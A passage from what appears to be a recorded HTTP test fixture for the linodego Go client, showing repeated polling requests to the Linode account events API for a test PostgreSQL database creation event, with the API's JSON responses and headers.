"go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:22:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:22:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:22:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:23:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:23:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:23:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:23:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:24:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:24:27 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:24:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:24:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:25:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:25:27 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:25:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:25:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:26:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:26:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - 